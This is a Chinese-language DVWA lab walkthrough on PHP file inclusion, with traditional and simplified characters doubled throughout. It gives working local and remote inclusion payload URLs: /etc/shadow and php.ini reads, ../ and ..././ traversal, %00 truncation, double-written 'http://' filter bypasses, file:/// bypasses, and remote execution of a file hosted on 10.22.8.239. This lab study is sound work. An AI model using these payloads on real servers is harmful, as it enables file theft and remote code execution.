File Inclusion,即文件包含(漏洞),是指當(dāng)服務(wù)器開啟allow_url_include選項時,就可以通過php的某些特性函數(shù)(include(),require()和include_once(),require_once())利用url去動態(tài)包含文件,此時如果沒有對文件來源進(jìn)行嚴(yán)格審查,就會導(dǎo)致任意文件讀取或者任意命令執(zhí)行。
文件包含分類:
當(dāng)服務(wù)器開啟allow_url_include選項時,校驗檢查不全面會造成本地文件包含漏洞
同時開啟allow_url_include、allow_url_fopen選項時,可能會造成遠(yuǎn)程文件包含漏洞。
與文件包含有關(guān)的函數(shù):
include():只有代碼執(zhí)行到該函數(shù)時才會包含文件進(jìn)來,發(fā)生錯誤時只給出一個警告并繼續(xù)向下執(zhí)行。
include_once():和include()功能相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。
require():只要程序執(zhí)行就包含文件進(jìn)來,發(fā)生錯誤時會輸出錯誤結(jié)果并終止運(yùn)行。
require_once():和require()功能相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。
相關(guān)的php.ini配置參數(shù):
allow_url_fopen = On (默認(rèn)開啟)
allow_url_include = On (默認(rèn)關(guān)閉)
遠(yuǎn)程文件包含是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后,服務(wù)器允許包含一個遠(yuǎn)程的文件)。
Low

服務(wù)器期望用戶的操作是點擊下面的三個鏈接,服務(wù)器會包含相應(yīng)的文件,并將結(jié)果返回。
需要特別說明的是,服務(wù)器包含文件時,不管文件后綴是否是php,都會嘗試當(dāng)做php文件執(zhí)行。
如果文件內(nèi)容確為php,則會正常執(zhí)行并返回結(jié)果,如果不是,則會原封不動地打印文件內(nèi)容,所以文件包含漏洞常常會導(dǎo)致任意文件讀取與任意命令執(zhí)行。
點擊file1.php,觀察到url為:
http://localhost/DVWA-master/vulnerabilities/fi/?page=file1.php
漏洞利用
1.本地文件包含
構(gòu)造url:
http://localhost/DVWA-master/vulnerabilities/fi/?page=/etc/shadow

出現(xiàn)報錯信息,顯示沒有這個文件,說明服務(wù)器系統(tǒng)不是Linux,但同時暴露了服務(wù)器文件的絕對路徑E:\phpstudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\index.php
構(gòu)造url(絕對路徑):
http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini

構(gòu)造url(相對路徑):
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini

舉例:讀取phpstudy探針文件進(jìn)行信息搜集
http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/l.php

加../是為了保證到達(dá)服務(wù)器磁盤的根目錄。
同時在讀取上面的php.ini文件時,我們看到,配置文件中的magic_quote_gpc選項為off。
在php版本小于5.3.4的服務(wù)器中,當(dāng)magic_quote_gpc選項為off時,我們可以在文件名中使用%00進(jìn)行截斷,也就是說文件名中%00后的內(nèi)容不會被識別,即下面兩個url是完全等效的。
以下是phpstudy中php版本為5.2.17的測試結(jié)果:
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../DVWA-master/php.ini%00a.php
2.遠(yuǎn)程文件包含
當(dāng)服務(wù)器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀態(tài)時,服務(wù)器會允許包含遠(yuǎn)程服務(wù)器上的文件。如果對文件來源沒有檢查的話,就容易導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行。
通常php.ini的位置在:
復(fù)制代碼代碼如下:
/etc目錄下或/usr/local/lib目錄下。
如果你還是找不到php.ini或者找到了php.ini修改后不生效(其實是沒找對),請使用如下辦法:
1.在/var/www/html/目錄下新建php文件,寫入如下代碼
<?php
echo phpinfo();
然后在瀏覽器訪問該頁面,搜索php.ini,

修改配置文件

在遠(yuǎn)程服務(wù)器10.22.8.239上傳一個phpinfo.txt文件到/var/www/html/目錄,內(nèi)容如下:
<?php phpinfo();?>
構(gòu)造以下url,成功在服務(wù)器上執(zhí)行了phpinfo函數(shù)
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://10.22.8.239/phpinfo.txt

Medium

明顯可以看到 過濾了
http:// , https:// , ../ , ..\
漏洞利用
使用str_replace函數(shù)是極不安全的,可以使用雙寫繞過替換規(guī)則。
例如page=htthttp://p://192.168.0.20/phpinfo.txt時,str_replace函數(shù)會將http://刪除,于是page=http://192.168.0.20/phpinfo.txt,成功執(zhí)行遠(yuǎn)程命令。
同時,因為替換的只是"../"、"..\",所以對采用絕對路徑的方式包含文件是不會受到任何限制的。
1.本地文件包含
絕對路徑不受任何影響,讀取配置文件成功
http://localhost/DVWA-master/vulnerabilities/fi/?page=E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini

相對路徑的利用以下payload,讀取配置文件成功
http://localhost/DVWA-master/vulnerabilities/fi/?page=..././..././..././DVWA-master/php.ini
2.遠(yuǎn)程文件包含
構(gòu)造以下payload,遠(yuǎn)程執(zhí)行命令成功
http://localhost/DVWA-master/vulnerabilities/fi/?page=htthttp://p://10.22.8.239/phpinfo.txt

High

High級別的代碼規(guī)定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協(xié)議繞過防護(hù)策略。
Tips:因為fnmatch函數(shù)適用于PHP >= 4.3.0,因此php版本高于這個才能利用,否則會出現(xiàn)打不開high等級頁面。
構(gòu)造如下url,成功讀取了服務(wù)器的配置文件
http://localhost/DVWA-master/vulnerabilities/fi/?page=file:///E:/phpstudy/PHPTutorial/WWW/DVWA-master/php.ini
(2)遠(yuǎn)程文件
Low和Medium等級的方法均失效,而file協(xié)議又只能打開本地文件。因此需要配合文件上傳漏洞來實現(xiàn)遠(yuǎn)程文件的執(zhí)行
Impossible

可以看到,Impossible級別的代碼使用了白名單機(jī)制進(jìn)行防護(hù),簡單粗暴,page參數(shù)必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞。